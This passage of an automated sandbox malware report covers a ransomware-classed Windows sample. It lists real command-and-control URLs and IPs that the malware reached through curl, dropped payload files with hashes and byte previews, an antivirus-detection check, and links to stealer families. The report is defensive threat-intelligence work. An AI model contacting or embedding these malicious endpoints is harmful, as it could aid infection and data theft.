http://178.215.224.74/v10/ukyh.php?gi	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=6	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dllr	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=8	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=7	100%	Avira URL Cloud	malware
http://www.sysinternals.com	0%	Avira URL Cloud	safe
http://178.215.224.74/v10/ukyh.php?jspo=5	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1%	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=5W5	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3Db	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.8	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=3&jwvs=9A5605DE11447A0E2031624EE8FBDE&vprl=2	100%	Avira URL Cloud	malware
ftp://ftp.info-zip.org/pub/infozip	0%	Avira URL Cloud	safe
http://178.215.224.74/v10/ukyh.u	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=31	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D	100%	Avira URL Cloud	malware
http://178.215.224.252/v10/ukyh	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl	100%	Avira URL Cloud	malware
http://178.215.224.252/v10/ukyh.php?jspo=6	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?gi.224.74ur32.dll	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?uvyw=6	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=33&jwvs=9A5605DE11447A0E2031624EE8FBDE	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=2016&jwvs=9A5605DE11447A0E2031624EE8FBDE&bsxa=1	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mCpLognXwrhUlFWj.mCpLognXwrhUlFWj	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://178.215.224.74/v10/ukyh.php?gi	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=e3ad1d0b2449c169e66efe472513a377*6&jwvs=9A5605DE11447A0E2031624EE8FBDE	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=8	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=2021&jwvs=9A5605DE11447A0E2031624EE8FBDE	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=7	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=6	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=5	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=3&jwvs=9A5605DE11447A0E2031624EE8FBDE&vprl=2	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=31	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D	true	Avira URL Cloud: malware	unknown
http://178.215.224.252/v10/ukyh.php?jspo=6	false	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?uvyw=6	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=33&jwvs=9A5605DE11447A0E2031624EE8FBDE	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=2016&jwvs=9A5605DE11447A0E2031624EE8FBDE&bsxa=1	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, Ur.pif, 0000000A.00000000.1743568156.00000000006D9000.00000002.00000001.01000000.00000006.sdmp, Million.0.dr, Ur.pif.1.dr	false		high
http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dll	curl.exe, 0000004F.00000002.2949097146.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.	curl.exe, 00000055.00000002.3021797267.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000059.00000002.3066064428.0000000003078000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000005E.00000002.3087963888.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000061.00000002.3106467022.0000000003588000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sysinternals.com	PsInfo64.exe.50.dr, PsInfo.exe.50.dr	false	Avira URL Cloud: safe	unknown
http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dllr	curl.exe, 00000023.00000002.2639422420.0000000000898000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.autoitscript.com/autoit3/X	RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Disco.86.dr, Either.pif.90.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	false		high
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3Db	curl.exe, 0000002F.00000002.2756880706.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.autoitscript.com/autoit3/	vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	false		high
http://www.info-zip.org/zip-bug.html;	azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp, azvw.exe, 00000032.00000000.2764607506.000000000041E000.00000002.00000001.01000000.00000007.sdmp, azvw.exe, 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmp, zip.exe.50.dr, azvw.exe.10.dr	false		high
http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1%	curl.exe, 0000004C.00000002.2931976614.00000000032F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=5W5	curl.exe, 0000001D.00000002.2606200469.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
ftp://ftp.info-zip.org/pub/infozip	azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://178.215.224.74/v10/ukyh.8	curl.exe, 00000040.00000002.2846406096.0000000003278000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.u	curl.exe, 0000001A.00000002.2589388864.0000000000A38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://178.215.224.252/v10/ukyh	curl.exe, 00000016.00000002.2522190668.0000000000A38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.info-zip.org/	azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp, zip.exe.50.dr	false		high
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml	curl.exe, 00000055.00000002.3021797267.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?gi.224.74ur32.dll	curl.exe, 0000005E.00000002.3087963888.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
178.215.224.252	unknown	Germany		10753	LVLT-10753US	false
178.215.224.74	unknown	Germany		10753	LVLT-10753US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560430
Start date and time:	2024-11-21 19:57:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	227
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vqMMwqCFZQ.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	5b14c48842c63552a468d3da9500bb34f3bbd1cd16decbc17a22ff0f2aada887
Detection:	MAL
Classification:	mal100.rans.spre.evad.winEXE@298/62@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 91 Number of non-executed functions: 115
Cookbook Comments:	Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, GyxNFpxuLvDE.GyxNFpxuLvDE, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: vqMMwqCFZQ.exe

Simulations

Behavior and APIs

Time	Type	Description
13:58:44	API Interceptor	2795x Sleep call for process: Ur.pif modified
13:59:36	API Interceptor	1x Sleep call for process: WMIC.exe modified
18:58:29	Task Scheduler	Run new task: {0E00B38F-D917-49A0-A531-F43CB9A2DE95} path:

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
178.215.224.252	044f.pdf.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=6
	stealer.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D
	stealer.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D
178.215.224.74	044f.pdf.exe	Get hash	malicious	Unknown	Browse	178.215.224.74/v10/ukyh.php?jspo=1&jwvs=9A7060554A2A0FC233A18A84321FDA&zjyp=true&yuvc=false&nzrj=00000&sftb=true

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LVLT-10753US	i486.elf	Get hash	malicious	Mirai	Browse	168.215.128.210
	JGWfssorui.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	ElTZP4yjRG.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	H6PtrbXJ9Q.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	Mj1o4aZG6y.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OYGqoSlvmi.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	5vcrbMCVE7.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OD195KrzCl.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	VKxD9FFAj0.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	http://178.215.224.252/v10/ukyh.php	Get hash	malicious	Unknown	Browse	178.215.224.252
LVLT-10753US	i486.elf	Get hash	malicious	Mirai	Browse	168.215.128.210
	JGWfssorui.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	ElTZP4yjRG.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	H6PtrbXJ9Q.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	Mj1o4aZG6y.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OYGqoSlvmi.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	5vcrbMCVE7.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OD195KrzCl.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	VKxD9FFAj0.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	http://178.215.224.252/v10/ukyh.php	Get hash	malicious	Unknown	Browse	178.215.224.252

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\139918\Ur.pif	fT0L8msd6q.exe	Get hash	malicious	Unknown	Browse
	fT0L8msd6q.exe	Get hash	malicious	Unknown	Browse
	qaHUaPUib8.exe	Get hash	malicious	Unknown	Browse
	qaHUaPUib8.exe	Get hash	malicious	Unknown	Browse
	eddzD2MA12.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	file.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	ohDGVKFUNe.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\139918\Ur.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: fT0L8msd6q.exe, Detection: malicious, Browse Filename: fT0L8msd6q.exe, Detection: malicious, Browse Filename: qaHUaPUib8.exe, Detection: malicious, Browse Filename: qaHUaPUib8.exe, Detection: malicious, Browse Filename: eddzD2MA12.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ohDGVKFUNe.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\139918\v

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	543384
Entropy (8bit):	7.999617603706052
Encrypted:	true
SSDEEP:	12288:9jAwmA/cECfkYWM8Dh+VVq+TAPPk3Tq5b7O0SS+XNNZEU7z3myUp:Z7mAN+T/a+oPMTM7Pz+9NZw
MD5:	C38D8D99A80F7693FF8676A998203028
SHA1:	9147B3DBF8FFD56E83D3B75C775326A7DEB36F55
SHA-256:	CD7599C946D34EEE5A3F58D8C2B4E8D2DF10B2F6FD647EFE309EB33A052BC714
SHA-512:	F2C121C81CDB9BB9ABD1C60C4137286736C8DF59AF51BE3CCB5F8F2E2BD375B819307E8FC38B7166ED5F878525F181DCDC92917FC1BA12FCD0B7CACDA174F524
Malicious:	true
Preview:	]d.....^.X.M...+\x\|.0"..2....{wb...l..}...l.L3.....<Z.4...!w.5.m5Md.Y._..{.!.A...=..&>...Hn...7.3../.H^'.+_..DK......G...Y..m..3_....<..R...#........J^.7J.......!2C.]...HDw..g8..Y,s.ox.......~a...n"h?.E;..C+YQb...Tq....k..X......4.A..n]............dq...cU,=j..D..CHTm.e.P.....@..'+.Fe.....S,..s.0.i..5r....BeZ".g8q..S..\JeR..O.,4...`..G...\|W..Z..J.Fq. .X<..0..$.o._Z.......\.}..(.X#...6.t.j2.Y..\.u...K?w.RD..L...\..9.!/.j.!-C. .PL...M.w..N.z.5.B.4..<?p.{.U..m....c.Oy..S..n LRM.ag....m.!\..-.".p.l....-Z.d....1..L...U....@-)..3..X,.z.6.d..N...;.$...L...-k.km.r....3.k9..DY...k8s.;....m..R.2....R>&{[.....}.qR.....:..}.#}..Lm%f.E......+6.!\|......Q6..7..]!....w...F.h..G.....#/7l........t.>...q."....#TZa.4....O.... ..7C.....h.]...hdv.I:'.o....`<.\|.......:.......u3.?u3..Y.w.4.6........H..p>.^@.oLz.8I,..D.L#.../...,.F..-..u.zh6......{...T$....._\...e^..0.u.g.(@..s.6h....J.-..q......V^w-J.i.=.?$..=).G.iQ..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....

C:\Users\user\AppData\Local\Temp\237

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.8725738836114343
Encrypted:	false
SSDEEP:	3:3JEaWNFWDiA7VFov:3JEXWDiA7VFov
MD5:	E8C8355C0C045BB2F880552A8CDF802C
SHA1:	60BD687E45F6AD3D3B41CB84FFC1AF8768F48AC9
SHA-256:	E38898BD136D34BA374A074BE6D95E3892772C40D3F13071991BA2344BC667B5
SHA-512:	EF413359C3F4341253AD37456DE1E77CE02292DC7AED1F2ECC62DC59D9C122B6376AD1CF4A9BBD0F2C374DB1EADECA3D27F16F582D9E42C61607891C20E61E05
Malicious:	false
Preview:	displayName ..Windows Defender ..

C:\Users\user\AppData\Local\Temp\303482\Either.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	943784
Entropy (8bit):	6.625461630496363
Encrypted:	false
SSDEEP:	24576:FJs7DlG83U/hcSO3UTyYPeuZtxY+8aiB8ea:FC7hGOSPT/PxebaiO
MD5:	78BA0653A340BAC5FF152B21A83626CC
SHA1:	B12DA9CB5D024555405040E65AD89D16AE749502
SHA-256:	05D8CF394190F3A707ABFB25FB44D7DA9D5F533D7D2063B23C00CC11253C8BE7
SHA-512:	EFB75E4C1E0057FFB47613FD5AAE8CE3912B1558A4B74DBF5284C942EAC78ECD9ACA98F7C1E0E96EC38E8177E58FFDF54F2EB0385E73EEF39E8A2CE611237317
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................\|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\807

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	82
Entropy (8bit):	3.054487465026234
Encrypted:	false
SSDEEP:	3:QBWlhjltP4rlnl+SliFlhakDBuFovn:QAjjHwrn+SkUkDkSvn
MD5:	7E057A66D876982B5B7E73CB8B59E0DA
SHA1:	476CB1CD6ECF19FCB707054562CD4A4D5BEC414A
SHA-256:	DBD0C7EEC70B9A99C0D9B50C785A3CEAC3DCE684E3681EBCAE86A4556E8409E1
SHA-512:	B8A249A1950AB014D04BE0CED4E4099EAA4C1BBCD961E3EE0806D9698301E6CF04E086C8B969F6C0563FAF6562D31A323DA47A79AC2FD51465903740B53D7ACF
Malicious:	false
Preview:	..d.i.s.p.l.a.y.N.a.m.e. . . . . . . .....W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r. . .....

C:\Users\user\AppData\Local\Temp\Asked

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997497067030351
Encrypted:	true
SSDEEP:	1536:y79ilBAGSNbaPp8QuI9A2zPTMl2EbF0fHaDcJzYiSyYYgV:69QBj7PesAwPefSHaDc6Ym
MD5:	91B63C1CAE0F192DD39409204B76F14F
SHA1:	427827533BD0ED51CBAE4E0E3B038E6B1F8CB23B
SHA-256:	0830372D949AFCC6E4D39BC90B5703720BE37AE34BA06DCDDF54E19CBFC86A4A
SHA-512:	B0032C61CB62A0BF71D43430964427F5451517EEF569C26FAADA92373C9E1B7EF98094E6E9E1184707B17A7BEF10F383261BD2E08A63915EB9CD3E843755D6EE
Malicious:	true
Preview:	]d.....^.X.M...+\x\|.0"..2....{wb...l..}...l.L3.....<Z.4...!w.5.m5Md.Y._..{.!.A...=..&>...Hn...7.3../.H^'.+_..DK......G...Y..m..3_....<..R...#........J^.7J.......!2C.]...HDw..g8..Y,s.ox.......~a...n"h?.E;..C+YQb...Tq....k..X......4.A..n]............dq...cU,=j..D..CHTm.e.P.....@..'+.Fe.....S,..s.0.i..5r....BeZ".g8q..S..\JeR..O.,4...`..G...\|W..Z..J.Fq. .X<..0..$.o._Z.......\.}..(.X#...6.t.j2.Y..\.u...K?w.RD..L...\..9.!/.j.!-C. .PL...M.w..N.z.5.B.4..<?p.{.U..m....c.Oy..S..n LRM.ag....m.!\..-.".p.l....-Z.d....1..L...U....@-)..3..X,.z.6.d..N...;.$...L...-k.km.r....3.k9..DY...k8s.;....m..R.2....R>&{[.....}.qR.....:..}.#}..Lm%f.E......+6.!\|......Q6..7..]!....w...F.h..G.....#/7l........t.>...q."....#TZa.4....O.... ..7C.....h.]...hdv.I:'.o....`<.\|.......:.......u3.?u3..Y.w.4.6........H..p>.^@.oLz.8I,..D.L#.../...,.F..-..u.zh6......{...T$....._\...e^..0.u.g.(@..s.6h....J.-..q......V^w-J.i.=.?$..=).G.iQ..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....

C:\Users\user\AppData\Local\Temp\Bailey

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.99784242676174
Encrypted:	true
SSDEEP:	1536:PzVgzZ8bQPhehNmUuzMKtJE/qjFJwtFO3xzJ7WtKi2cnJqczvwvfUM2XOj09NkK:PJg7ehNmXntgKFJwtFO3z4KfcnEczvNB
MD5:	C5C9551F30A44AAB6152B932F7149053
SHA1:	C5B31ED9091D873883A9BA4A1D19A1C8C50020F8
SHA-256:	ECC645D9AD7E7C4AD052E519F44D314CA15CE749FAFD2BE4384121704E1B26FD
SHA-512:	83DD79769DD3F0D0625742AF94309FD5DED51615F9278CEBB558E03777E5346BAF08D3D6AA3C6C84DF41A3E321BEC83FAD828C218E85F3E1D88276DF17797E98
Malicious:	true
Preview:	....K0G4..dyUw...!-..(Y.p'I...Z..0._........SQ.!...K..G.........f....7..+p9L.V&....x.2it.....A]..S..p...k@.n..\..T.L....8.!.).d..f........<-wU..V.Fxou..!.........K..p.1....`..8.L. .(9...(LgWRn.P..mE.(-"..F..a..L..X.....4....._>V..<...U...%.o>$....p.^...0..V....+.=3U...7.[T..(...........y...h....?t......j...N....s!3H..@..a....u..)....x.u...q#.\.B.Efua.sR._nv.P.G..!O......h..........X....>..Xjr(.ch.0......\.X.c..9,..npq.k ...:`#z.M....z...@....p<z6.8Q..K..Hq.Yj....k.w..x.g....M.zY.]Lh..k...Wo.'_.......P..3@0..:.wj...:....F.>..:J....j.A.]A3...ct.k...=.e..C7y".,..Fw.9.e...-..].9~.....E.g...w4...q..^. #..<.G....9.t\|Q</...T.u.m.4q..S.;.h>.......;...........+.....c;.....b7&.jN.)sW.P!T.^;_..u-....+..o..(....M....2.:.b.zN..(.vp....?.Te.,.o.e...Z.......\..@.->o..o..W....h..-..53>L.N..7.~.t.P...5.r....!.....Qli.......EK... %.;Z1..".]z..........\|J.Y6rc.......R=.XV.NK.{........QY7y~...\|....L..#....1v.E.....w.u~Q.GiD6..+*.V...Q.Z.B#Q.t..c. .l..D.5F

C:\Users\user\AppData\Local\Temp\Bracket

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	7.99828269179223
Encrypted:	true
SSDEEP:	1536:0i37FzuLlWXtB3XRd9OYyKRMmS2E0e/ASnS+VIQcoGUByCjQnrQ1nVC20D/PMsds:0i37FbRXRd9OyRXE0e/ASS+VIXoGUByA
MD5:	1093C62DDE98CA0AA4B349782BB4754A
SHA1:	224C060CDCFFEC1704B546B30F809C7436C22A77
SHA-256:	9CE8FC5CCCE9C1E1583B83E8096E259BC3BDB9E968535A93367199A2B5E667A4
SHA-512:	90D034662444836857E858B06DFB6760869B448AC9327E270095C4BF6688695AD2F2F94367E580EF09A497BDBB140EFD34FCC442D16FC4A510035DF9B42A8D40
Malicious:	true
Preview:	.(..D.S.6%T.S..HO.....'T.;........o..M:...W.F..g.=.d5....f4.Z.....`uu.+.Q.+:5.?....M.K...2).Ts.P.....WHaU......D....^@`.#F...7.\..I....P<..H..t.C./....%Z...Q...,fc.....M....;..%{...Dew....._..a..N%.i.......j...<.#L..C'@..sp.cjo.}.o?a....../<..F..vOin5.o..R...)..Y.vz./.E..(..)...5.@u..P..\|.3v..O.E..W..I..Q.....E.Ap..... \|..sQc........x...;e..&_.s...=..#.Tl...U...z....%..$o.!v'....Y....as.a.._.4....a.p.........\|.R...eM9..4F.Dh.a.`.....E.die8W{..Y..~[......Ke,..(.P1x^.kFj....:..._.k......v...8..g.Z.......U.QZ.O.i...A..d.)...v.P..}l4>W..u..F$@..2.3..b.!...m.P.F.K:..weH....}..`...?.HKn.g.LOtC.<V.3o.{.>..G......:,.enD..N..G......n....\%....OL.q..iA...z.....jy...bj.P.q...f.sA#.R,oH....B.g2`.$=../..)C....I...5...6.i..-....L..Z..2.;I/..co.L...z.....ZGG83....S+.2(dY1.X.....W..t...URC...:....._.\|0;....."......T6.u!.x..9..Y(....l.x..........o....j&....-{J.B....$.VU.K.F.ZG.p..S.......-B^nq.P.z...K,.....2c...Sp..n.....w...16...c............`>..

C:\Users\user\AppData\Local\Temp\Chairman

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997056709124233
Encrypted:	true
SSDEEP:	1536:MYE75r5qsUBZvfbk57uYxccDzpoiAMEFVTPYOw:gz8ZCPPkFVTY7
MD5:	F680B71A7E50BC5F4D947FE5F13D87AC
SHA1:	3220576AF77B5C996A46CE521E9F76F62959FCB1
